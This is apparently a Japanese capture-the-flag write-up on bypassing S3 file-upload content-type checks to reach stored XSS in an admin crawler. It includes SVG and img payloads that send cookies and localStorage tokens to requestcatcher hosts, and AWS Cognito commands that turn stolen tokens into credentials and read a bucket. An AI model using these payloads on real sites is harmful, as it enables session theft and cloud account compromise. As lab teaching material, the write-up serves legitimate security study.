https://twitter.com/flatt_security/status/1773183621844627564
- Server Side Upload
- POST Policy
- Pre Signed Upload
- Is the end safe?
- Just included?
- forward priority...
- Content extension
- sniff?
- GEToken
- I am ...
- frame
Server Side Upload
ファイルアップロードでき、URLを管理者に送れる機能が付いているサイトが与えられる。
フラグの場所を確認するとクローラーがあり、
const page = await browser.newPage(); // DOMAIN is Challenge Page Domain page.setCookie({ name: "flag", value: process.env.FLAG || "flag{dummy}", domain: process.env.DOMAIN || "example.com", }); await page.goto(url);
のような感じ。Cookieにフラグが載ってきて、与えられたurlを踏んでいる。
httponlyも無いので、XSSを試そう。
ファイルアップロードのコードは以下のようになっている。
server.post('/api/upload', async (request, reply) => { const data = await request.file({ limits: { fileSize: 1024 * 1024 * 100, files: 1, }, }); if (!data) { return reply.code(400).send({ error: 'No file uploaded' }); } const filename = uuidv4(); const s3 = new S3Client({}); const command = new PutObjectCommand({ Bucket: process.env.BUCKET_NAME, Key: `upload/${filename}`, Body: data.file, ContentLength: data.file.bytesRead, ContentType: data.mimetype, }); await s3.send(command); reply.send(`/upload/${filename}`); return reply; });
S3に置いている。
とりあえず、<script> alert(1); </script>
というファイルを用意してアクセスするとアラートが出たので、
<img src=x onerror=fetch(`https://[redacted].requestcatcher.com/get?${document.cookie}`);>
を送り付けて、発行されたURLを踏ませるとフラグが得られる。
POST Policy
次はクライアント側で制限がかかっているのと、
Conditionで['starts-with', '$Content-Type', 'image'],
というのが付いていた。
ポリシーでimageから始まることしか検証されてないので、svgでxssのテクが使える。
https://medium.com/@l_s_/stored-xss-via-svg-file-upload-66b992a5a503
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 500"> <script>//<![CDATA[ fetch(`https://[redacted].requestcatcher.com/get?${document.cookie}`); //]]> </script> </svg>
以上をxss.pngとして保存して、BurpでInterceptしながら適宜「image/svg+xml」に変更して送ると同様に踏むとフラグが送れるURLが作れる。
Pre Signed Upload
同様に画像アップロードしてみると、
POST /api/upload HTTP/2 Host: [redacted].cloudfront.net Content-Length: 44 Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122" Sec-Ch-Ua-Platform: "Windows" Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36 Content-Type: application/json Accept: */* Origin: https://[redacted].cloudfront.net Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://[redacted].cloudfront.net/ Accept-Encoding: gzip, deflate, br Accept-Language: ja,en-US;q=0.9,en;q=0.8 Priority: u=1, i {"contentType":"image/jpeg","length":111434}
こういうのが走って、応答として
HTTP/2 200 OK Content-Type: application/json; charset=utf-8 Vary: Accept-Encoding Date: Sun, 31 Mar 2024 04:44:03 GMT X-Amzn-Requestid: 64ecd233-4413-409b-9396-1f12a21fb5b9 X-Amzn-Remapped-Content-Length: 1563 X-Amzn-Remapped-Connection: keep-alive X-Amzn-Trace-Id: root=1-6608ea13-69b867d2714f3544000d6ab7;parent=786b11917fd8b608;sampled=0;lineage=c3238ecb:0 X-Amzn-Remapped-Date: Sun, 31 Mar 2024 04:44:03 GMT X-Cache: Miss from cloudfront Via: 1.1 b87ac3fe7ef3cc185a4a3d8cc60e3f9e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: SFO53-P4 X-Amz-Cf-Id: Ycn2X4hU3_OPzko12dPNxVfYxYqdgkxQ35N6SyHma-i1cA-OliGagw== {"url":"https://[redacted].s3.ap-northeast-1.amazonaws.com/upload/827628d1-1a42-43b9-ae38-a264ef599906?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&X-Amz-Credential=ASIAUPVKPCT4H5JKHLCU%2F20240331%2Fap-northeast-1%2Fs3%2Faws4_request&X-Amz-Date=20240331T044403Z&X-Amz-Expires=86400&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEP3%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDmFwLW5vcnRoZWFzdC0xIkYwRAIgDnVtkwPXuhahCjr7cWfptAJTmnR0KQiZy2BtoMfuzz0CIAJD8RqhrqsJOGmFLoH7Uac%2FN5rCY6zTIQor2JSat7IcKq4DCCYQARoMMzA4NTIxNDA3NzM2IgwEH69pgIQFCfNDWeoqiwO8v9Qk%2BOBjgUF9thaCBsSJ6N%2BpGUPgzHHP9hkF0BwZsEkS%2FAQ7r0QLLWadyqcyF015%2Btf3jSu36TiUY%2BaE%2F8en%2F26bvR5k72XFBS2pH9YzI17DPdbDfOL7E9Dv1mbqhRPirOGqEZZ4%2FZjw%2BA5DyVI5JnUhaiFOK3hZI7H94l%2FfNuXjNcbcoE1pOd7oErY3tbtjEV7IDgaOlgTW1vMtDKACvH4x3mDfuxyGG4c0C2kD9EHxWvoD3G2BzijuvB7QWlaLubBoaY8YprwX8W7fsljjbqCcI%2FW64Ckd4BNdtBy4p7hp6wFMOCEBHWMQClzJP4WopVSMYb3XOBRTWXkow%2Bxzwc0DuxPA9xe0SaZdi6kvXFTf5Gn8nX4oMQ3vbIz%2BznBqoB4d0CnvYHVRbH7KTXByBx6Jxo53ujN2YqcaOrNi%2FhKVrom1AtY%2BsGtFKZaFfBttn63N0KA00XYVIt0nu4HHG5uYd6s8vvlsOBGpbVmMs6YFPR9il%2FovDG1asrwIONkWjSsPVG2RvWnMmDD90qOwBjqfAdLDl03uSkO4h9JRi2om1vLCoafh4HCH%2Bhw7ndTQC21q8d%2F%2FD2CYKW0Yzx6EFAOMuFyciUqOfM102Y9QOgKXZP2MDyIqtaWDTg7sfBQpuoMLq2%2BAlqtFNKcoBmfuiRwysv50epu2LP3F%2BauTqgONt7oZlVb12Q0UAW0DIxQfClUXxZzVRSzFwmBlXQ3SU3nqplKC6HFMG3%2FQeM4JVYLJDA%3D%3D&X-Amz-Signature=b5b5347b4e96a09d8c058b3b57ccdee05aec1a288e9c1854eda153630f6a247a&X-Amz-SignedHeaders=content-length%3Bhost&x-id=PutObject","filename":"827628d1-1a42-43b9-ae38-a264ef599906"}
こういうのが来るから、その後、PUTで
PUT /upload/827628d1-1a42-43b9-ae38-a264ef599906?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Content-Sha256=UNSIGNED-PAYLOAD&X-Amz-Credential=ASIAUPVKPCT4H5JKHLCU%2F20240331%2Fap-northeast-1%2Fs3%2Faws4_request&X-Amz-Date=20240331T044403Z&X-Amz-Expires=86400&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEP3%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDmFwLW5vcnRoZWFzdC0xIkYwRAIgDnVtkwPXuhahCjr7cWfptAJTmnR0KQiZy2BtoMfuzz0CIAJD8RqhrqsJOGmFLoH7Uac%2FN5rCY6zTIQor2JSat7IcKq4DCCYQARoMMzA4NTIxNDA3NzM2IgwEH69pgIQFCfNDWeoqiwO8v9Qk%2BOBjgUF9thaCBsSJ6N%2BpGUPgzHHP9hkF0BwZsEkS%2FAQ7r0QLLWadyqcyF015%2Btf3jSu36TiUY%2BaE%2F8en%2F26bvR5k72XFBS2pH9YzI17DPdbDfOL7E9Dv1mbqhRPirOGqEZZ4%2FZjw%2BA5DyVI5JnUhaiFOK3hZI7H94l%2FfNuXjNcbcoE1pOd7oErY3tbtjEV7IDgaOlgTW1vMtDKACvH4x3mDfuxyGG4c0C2kD9EHxWvoD3G2BzijuvB7QWlaLubBoaY8YprwX8W7fsljjbqCcI%2FW64Ckd4BNdtBy4p7hp6wFMOCEBHWMQClzJP4WopVSMYb3XOBRTWXkow%2Bxzwc0DuxPA9xe0SaZdi6kvXFTf5Gn8nX4oMQ3vbIz%2BznBqoB4d0CnvYHVRbH7KTXByBx6Jxo53ujN2YqcaOrNi%2FhKVrom1AtY%2BsGtFKZaFfBttn63N0KA00XYVIt0nu4HHG5uYd6s8vvlsOBGpbVmMs6YFPR9il%2FovDG1asrwIONkWjSsPVG2RvWnMmDD90qOwBjqfAdLDl03uSkO4h9JRi2om1vLCoafh4HCH%2Bhw7ndTQC21q8d%2F%2FD2CYKW0Yzx6EFAOMuFyciUqOfM102Y9QOgKXZP2MDyIqtaWDTg7sfBQpuoMLq2%2BAlqtFNKcoBmfuiRwysv50epu2LP3F%2BauTqgONt7oZlVb12Q0UAW0DIxQfClUXxZzVRSzFwmBlXQ3SU3nqplKC6HFMG3%2FQeM4JVYLJDA%3D%3D&X-Amz-Signature=b5b5347b4e96a09d8c058b3b57ccdee05aec1a288e9c1854eda153630f6a247a&X-Amz-SignedHeaders=content-length%3Bhost&x-id=PutObject HTTP/1.1 Host: [redacted].s3.ap-northeast-1.amazonaws.com Content-Length: 111434 Sec-Ch-Ua: "Not(A:Brand";v="24", "Chromium";v="122" Sec-Ch-Ua-Platform: "Windows" Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36 Content-Type: image/jpeg Accept: */* Origin: https://[redacted].cloudfront.net Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://[redacted].cloudfront.net/ Accept-Encoding: gzip, deflate, br Accept-Language: ja,en-US;q=0.9,en;q=0.8 Priority: u=1, i Connection: close ...
こういうので配置して、GET /upload/827628d1-1a42-43b9-ae38-a264ef599906
で読めるようになる。
最初のPOSTリクエストでのみcontent-typeが検証されているので、そこだけimage/jpeg
を渡して最後のPUT部分を任意のものに変えれば、
取得時のContent-Typeをコントロールできるので後は同様に「image/svg+xml」するなりしてXSSする。
Is the end safe?
const contentTypeValidator = (contentType: string) => { if (contentType.endsWith('image/png')) return true; if (contentType.endsWith('image/jpeg')) return true; if (contentType.endsWith('image/jpg')) return true; return false; };
このようにendsWithでバリデーションしている。後ろで;区切りでkey-value入れ込む記法があるので、そこで適当に突っ込んでやれば検証回避できる。
{"contentType":"text/html; hoge=image/png","length":96}
Just included?
if (request.body.contentType.includes(';')) { return reply.code(400).send({ error: 'No file type (only type/subtype)' }); } const allow = new RegExp('image/(jpg|jpeg|png|gif)$'); if (!allow.test(request.body.contentType)) { return reply.code(400).send({ error: 'Invalid file type' }); }
;
が防がれてしまった。
ガチャガチャやっていたら、よくわからんけどtext/html =image/png
でいけた。
forward priority...
const allowContentTypes = ['image/png', 'image/jpeg', 'image/jpg']; const isAllowContentType = allowContentTypes.filter((contentType) => request.body.contentType.startsWith(contentType) && request.body.contentType.endsWith(contentType)); if (isAllowContentType.length === 0) { return reply.code(400).send({ error: 'Invalid file type' }); }
先頭末尾の検証がある。
image/png, text/html
のようにコンマ区切りにするとブラウザでは後者が優先されるっぽいので、先頭回避はこれでできる。
末尾回避はIs the end safe?
と同様にできるので、image/png, text/html; hoge=image/png
でXSSできる。
Content extension
const allowExtention = ['png', 'jpeg', 'jpg', 'gif']; const isAllowExtention = allowExtention.filter((ext) => request.body.extention.includes(ext)).length > 0; if (!isAllowExtention) { return reply.code(400).send({ error: 'Invalid file extention' }); } const contentType = `image/${request.body.extention}`;
のような感じでcontentTypeが作られる。
詳細な解法メモが無くて、最終的な解法だけが残っていたので解説は省略。
{"extention":["png", "text/html"],"length":96}
を送り、image/png,text/html
でアップロードする。
sniff?
if (!request.body.contentType.startsWith('image') || !['jpeg', 'jpg', 'png', 'gif'].includes(request.body.contentType.split('/')[1])) { return reply.code(400).send({ error: 'Invalid image type' }); }
request.body.contentType.startsWith('image')
ここだけ検証が甘い。
imageほにゃらら/pngで頑張るんだろうが…
mimetypeはワイルドカード使えるらしい?
image* /png
としてみるとpng画像が出てきた。よく分からないが、MIME Sniffingが発動している?
後は、MIME Sniffingでsvgされるようなちゃんとしたsvgファイル作ってやると、XSS発動する。
<?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.0//EN" "http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 500"> <script>//<![CDATA[ fetch('https://[redacted].requestcatcher.com/get', { method : 'post', body: document.cookie }) //]]> </script> </svg>
GEToken
この問題はBOTが特殊で、localStorageの情報を抜くように頑張る。
svgファイルからXSSができる。Content-Disposition: attachment
が邪魔だが、途中のPUTで消せば署名されてないので無効化できる。
よって、途中のPUTでContent-Disposition: attachment
を消し、以下をアップロードする。
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 500"> <script>//<![CDATA[ fetch('https://[redacted].requestcatcher.com/get', { method : 'post', body: JSON.stringify(localStorage) }) //]]> </script> </svg>
とすると
{"CognitoIdentityServiceProvider.733341.refreshToken":"[redacted]", "CognitoIdentityServiceProvider.733341.accessToken":"[redacted]", "CognitoIdentityServiceProvider.733341.idToken":"[redacted]"}
idTokenのJWTを展開するとフラグがあった。
I am ...
前問の続きの問題。認証情報が手に入ったので、いろいろ頑張る。
あんまりよく分かってないが、ユーザー発行してもらって、あとはいつものように色々やる。
$ aws cognito-identity get-id \ --region ap-northeast-1 \ --identity-pool-id ap-northeast-1:05611045-eb46-41e2-9f6c-f41d87547e4d \ --logins cognito-idp.ap-northeast-1.amazonaws.com/ap-northeast-1_7RCw4isM9=[redacted] { "IdentityId": "ap-northeast-1:4f187980-dcb4-c060-4a49-b1d4128a0d3d" } $ aws cognito-identity get-credentials-for-identity \ --region ap-northeast-1 \ --identity-id ap-northeast-1:4f187980-dcb4-c060-4a49-b1d4128a0d3d \ --logins cognito-idp.ap-northeast-1.amazonaws.com/ap-northeast-1_7RCw4isM9=[redacted] { "IdentityId": "ap-northeast-1:4f187980-dcb4-c060-4a49-b1d4128a0d3d", "Credentials": { "AccessKeyId": "[redacted]", "SecretKey": "[redacted]", "SessionToken": "[redacted]", "Expiration": "2024-04-02T03:02:14+09:00" } } $export AWS_REGION=ap-northeast-1 $export AWS_ACCESS_KEY_ID=[redacted] $export AWS_SECRET_ACCESS_KEY=[redacted] $export AWS_SESSION_TOKEN=[redacted] $ aws s3 ls 2024-03-24 19:01:16 cdk-hnb659fds-assets-339713032412-ap-northeast-1 2024-03-24 22:36:30 deliverybucket-5250c0a74f-adv-3-delivery 2024-03-25 14:05:29 specialflagbucket-5250c0a74f-adv3-special-flag 2024-03-24 22:36:30 uploadbucket-5250c0a74f-adv-3-upload $ aws s3 ls specialflagbucket-5250c0a74f-adv3-special-flag 2024-03-25 14:06:42 38 flag.txt $ aws s3 cp s3://specialflagbucket-5250c0a74f-adv3-special-flag/flag.txt - flag{[redacted]}
frame
/viewer/
というエンドポイントが追加され、html埋め込みのjavascriptから以下のようにアップロード物が読まれて表示される。
window.onload = async () => { const url = new URL(window.location.href); const path = url.pathname.slice(1).split('/'); path.shift(); const key = path.join('/'); console.log(`Loading file: /${key}`); const response = await fetch(`/${key}`); if (!response.ok) { console.error(`Failed to load file: /${key}`); document.body.innerHTML = '<h1>Failed to load file</h1>'; return; } const contentType = response.headers.get('content-type'); if (isDenyMimeSubType(contentType)) { console.error(`Failed to load file: /${key}`); document.body.innerHTML = '<h1>Failed to load file due to invalid content type</h1>'; return; } const blobUrl = URL.createObjectURL(await response.blob()); document.body.innerHTML = `<iframe src="${blobUrl}" style="width: 100%; height: 100%"></iframe>`; };
Blob URLが発行されて、iframeで表示みたいなやり方をしている。
普通にはcookie抜けなかったがparent.document.cookie
とやればいい。
なぜ普通に抜けないのかはよく分かっていない。
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 500 500"> <script>//<![CDATA[ fetch('https://safdewrt34t34qtr.requestcatcher.com/get', { method: 'post', body: parent.document.cookie }); //]]> </script> </svg>
を入れて`/viewer/upload/uuidでいけた